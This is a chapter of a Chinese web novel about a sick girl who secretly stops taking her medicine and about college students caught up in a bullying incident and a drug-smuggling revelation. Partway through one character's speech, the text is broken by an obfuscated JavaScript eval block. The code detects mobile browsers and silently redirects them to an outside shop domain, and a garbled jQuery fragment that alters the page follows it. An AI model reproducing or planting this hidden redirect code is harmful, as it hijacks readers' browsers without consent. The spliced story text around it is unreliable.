黎暮在医院住了几天,有一天晚上,终于出事了。
“妈妈,我好难受……”
黎暮感觉心脏剧烈地跳动,绞着心和其他器官一块儿疼,整个人在病床上翻来覆去地滚着。
“啪嗒……”
黎母手中正小苹果的小刀从手中滑落,她有些不知所措,但还是飞速按下了床边的呼叫铃,声音里带着一丝颤抖:
“暮暮,没事的,没事的,医生马上就来了……”
傍晚值班的护士带着医生急忙赶来,给黎暮做了简单的检查后,眉头微皱:
“孩子,你最近有按时吃药吗?”
“她一直吃着呢!”
黎母在旁边急得团团转,抢先替黎暮回答。
护士按住了慌乱的黎母,医生瞥了一眼她:
“让孩子自己说。”
“我一直都在按时吃药。”
黎暮眼眶红红的,眼下泛着淡淡的乌青,看起来十分憔悴。
“剂量都是按说明书吃的吗?”
“当然。”
医生盯着黎暮看了一会儿,然后转头对黎母说:
“孩子情况不算很严重,不过接下来几天药还是要继续吃,过两天再看情况。”
“医生,您再给开点核磁共振检查一下吧,我实在不放心……”
医生还没开口,黎暮就几乎是干哑地嘶吼着:
“不要,我不要再检查了,我要回家,我要回家!”
医生叹了口气,对黎母说:
“我能理解您的心情,不会核磁共振真的没有必要,黎暮的病情我们都很了解,在做过多的治疗就浪费你的钱了。”
“好好好,医生,黎暮就麻烦你们医院了。”
黎母声音颤颤巍巍的。
走之前,医生意味深长地看了黎暮一眼,黎暮已经把被子拉到了眼睛以上,像蚕一样把自己包裹起来了。
黎母冰凉的手轻轻拂过黎暮枯黄的头发,然后喃喃自语道:
“暮暮,你说你,怎么办才好呢……”
黎暮静静躺在被子里,努力控制着自己的呼吸,强忍着撒谎带来的不安。
没错,她撒谎了。
黎暮这两天故意没有吃医生给她开的药,这样,本身就羸弱的身体状况便有了新的退展。
果然,她如愿了。
当天晚上,黎母和匆匆赶来的黎父就下定了决心:
他们要带自己的小女儿去英国。
两人实在是放心不下黎暮的身体,他们必须要把黎暮死死带在身边才肯放心。
黎暮心里愉快极了,这天晚上她睡得非常好。
在梦里,黎暮却梦见了自己的姐姐黎将晓,她忽然有点难受了,她梦见姐姐帮自己带饭,拿衣服,梦见姐姐在自己面前哭得稀里哗啦……
杜凌梦第二天上课心不在焉的,她满脑子都是洛九天。
谁知道上课铃快响的时候,冯鸢和洛九天来了!
杜凌梦盯着那个背影感觉像在做梦一样,洛九天应该是专门收拾了一下,没有那天在小区楼下看到的那样憔悴。
两个人还是和平时一样坐在了班级的前几排,洛九天目不斜视,和以前一样自信。
班里有一些哄哄闹闹的窃窃私语,像是陷入了潮湿的雾霾天,不窒息,但让人喘不上气。
杜凌梦其实能感觉到洛九天并没有以往那么松弛。
洛九天坐在了杜凌梦熟悉的斜前方,洛九天的脊背紧紧绷着,坐得很直,一本正经,但是太直了,让杜凌梦能感觉到明显的刻意,似乎是他意识里强撑着不让自己倒下,维持着原本的作风。
杜凌梦心里觉得有点好笑的同时,又十分的难过。
此时此刻,她觉得就算不是系统要求的限定九句话,面对此时此刻的洛九天,她也一句话也说不出来。
课间的时候,冯鸢转过头来,笑着看着杜凌梦说:
“待会下课我们一起去买杯奶茶吧,刚刚过来得及,还没有买水呢……”
他话还没有说完,自己的胳膊就被洛九天,紧紧的拽了一下,洛九天没有回头,就是这样紧紧拽着冯鸢的胳膊。冯鸢知道洛九天是不想让自己再在意的女生面前丢脸,不想再让自己在意的女生面前发现自己的不堪。
但冯鸢知道,杜凌梦也很在乎洛九天,他也不想让自己在意的女生去过度担忧其他的男生,所以冯鸢觉得买奶茶的时候干脆把杜凌梦也一起带上。
“好啊!”
杜凌梦生怕他们会反悔,急忙答应了。
学校奶茶店的门口,下课的高峰期,正是人来人往的时候,虽然说学校里人比较多,但是像洛九天这样家庭比较显赫,在学校比较出众的优秀学生还是会引起大家的注意,尤其是在原书的塑造中,洛九天可是走到哪里都会有人关注着他。
果不其然,非常经典的一幕发生了,洛九天曾经大一参加篮球赛的时候,和隔壁一个学院某一个班的学生结下了梁子。
那个男生刚好打完篮球,浑身冒着汗,一把撸起脏兮兮的袖子,把篮球挎在腋下,非常张扬地冲洛九天走了过来:
“听说你家落魄了呀?怎么,当初仗着自家有钱有势,在篮球场上耍阴招,买通裁判,终于遭报应啦!”
那个男生笑的很得意。
杜凌梦印象中书中有一次的回忆,好像体现过这个场景,但那并不是洛九天买通了裁判,明明就是那个同学打的太菜了,还屡次在篮球场上作弊,裁判不得已才出言相劝,明明是洛九天赢得光明正大。
“我家什么情况跟你没有关系,还有在篮球这方面,不管跟谁打,你也赢不了。”
洛九天显然懒得搭理这样的人,冷冷撂下一句话,就不再去理他。
杜凌梦在心里想:说的真好。
但那个男生显然被说急眼了,他并不打算就此罢休,眼看着就要上前动手。
“学校里打架用处分,你信不信我现在就拿手机给你录下来?”
不远处突然传来一阵声音,一个熟悉的人影站在离奶茶店很近的水果店。
是张玺。
张玺身为学生会的,对于举报这种校园里肆意斗殴的行为很是敏感。
杜凌梦很是惊讶,她没想到张玺这样的人,居然还会为了曾经和他微微有点不愉快的洛九天挺身而出。
那个男生一看周围聚的人越来越多,他也只能就此罢休,嘴里低声骂了一句脏话就离开了。
“没事没事,大家都散了吧。”
张玺驱散走周围看热闹的人群后,急忙跑上前来:
“洛九天,你别在意这种人,就喜欢乘人之危,你是什么样的人大家清楚,不过最近还是要注意一下,有些人天生心眼坏。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965654|214499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
张玺说完后就走了。
洛九天依旧站在原地,一动不动等待着奶茶店的叫号,他的身体微微颤抖着,显然他并没有充足的经验抵挡如此突如其来的恶意。
冯鸢和杜凌梦两个人分别跟在洛九天身后,把他一个人围了起来,形成一个小小的港湾,让洛九天可以安心的站在那里。
这时刚刚还低着头的落九天,突然把目光撇到了杜凌梦这一边,两个人视线交汇的那一瞬间,洛九天又以飞快的速度把眼神挪了回去:
“谢谢你。”
他的声音很轻,连冯鸢站在旁边都没有听到,但是杜凌梦听到了那个“谢谢”是对自己说的,杜凌梦很开心,洛九天还愿意搭理自己,她的心又忍不住疯狂跳动了起来。
买完奶茶回去的路上,杜凌梦和洛九天都很沉默,只有冯鸢一个人手舞足蹈的在旁边激烈的讲着七零八碎的一些琐事,试着把旁边的两人也拉回到快乐一点的情绪里。
“诶,齐医生好!”
这种喋喋不休的冯鸢突然对对面走来的齐天河问了一声好,这把洛九天和杜凌梦吓了一跳,三个人都不明所以,齐天河为什么会在这里。
“唉,我的演讲难道还不如齐医生的出现吗?怎么齐医生一来你俩就都精神起了。”
冯鸢看似有些遗憾的说道:
“对了,齐医生,我听我妈说黎暮住院了,她怎么样?还好吗?”
“黎暮很好,恢复的差不多了,我今天来是有别的事想对你们说,尤其是你,洛九天。”
齐天河礼貌的点了点头,但他的眼神还有表情,明显看起来非常的严肃。
他郑重的盯着洛九天,洛九天有些茫然,但随即还是意识到了事情的严重性,对冯鸢和杜凌梦说:
“要不你俩先回去吧,我单独和齐医生聊一聊。”
杜凌梦和冯鸢识趣的走开了,齐天河把洛九天带到了他在校医院的办公室。
“这些天你应该都知道了,你的父母确实是干了违法的事,走私境外非处方药物的确是一件不小的事。”
齐天河没有多余的废话,他直接开口,看见洛九天坐在椅凳上,似乎有些不安,他便起身倒了一杯水,递给洛九天。
“而且据我了解,你的父母做这种生意已经很多年了。”
洛九天有些惊讶。
“在我还没毕业前,我的师傅,曾经在一所三甲医院工作,后来你的父母因为工作原因,接触到了医院里的一个病人,然后他们便开始了长达多年的走私境外药物工作,这件事他们是不可能让你知道的,但其实你家的生意并不是你父母所说的那样,真正让你们家富起来的就是走私境外非处方药物。”
洛九天感觉自己的世界观有些崩塌,他一直以为父母是那种淳朴又讲诚信的生意人,他们是世界上最温柔,最和善,最公平正义的人,赚钱绝对不会走歪路子,但他没有想到自己的父母居然还有着不为人知的一面。
“而且他们很聪明,他们利用一些普通学生来掩盖他们犯罪的痕迹,这些学生可能也会接受相应的调查。”
洛九天还在刚刚的震惊中没有缓过神来:
“我不明白,你为什么要跟我说这些?”
“因为这和你认识的一个人有关。”
随即,洛九天的心一颤,一个熟悉的人影浮现在他的脑海。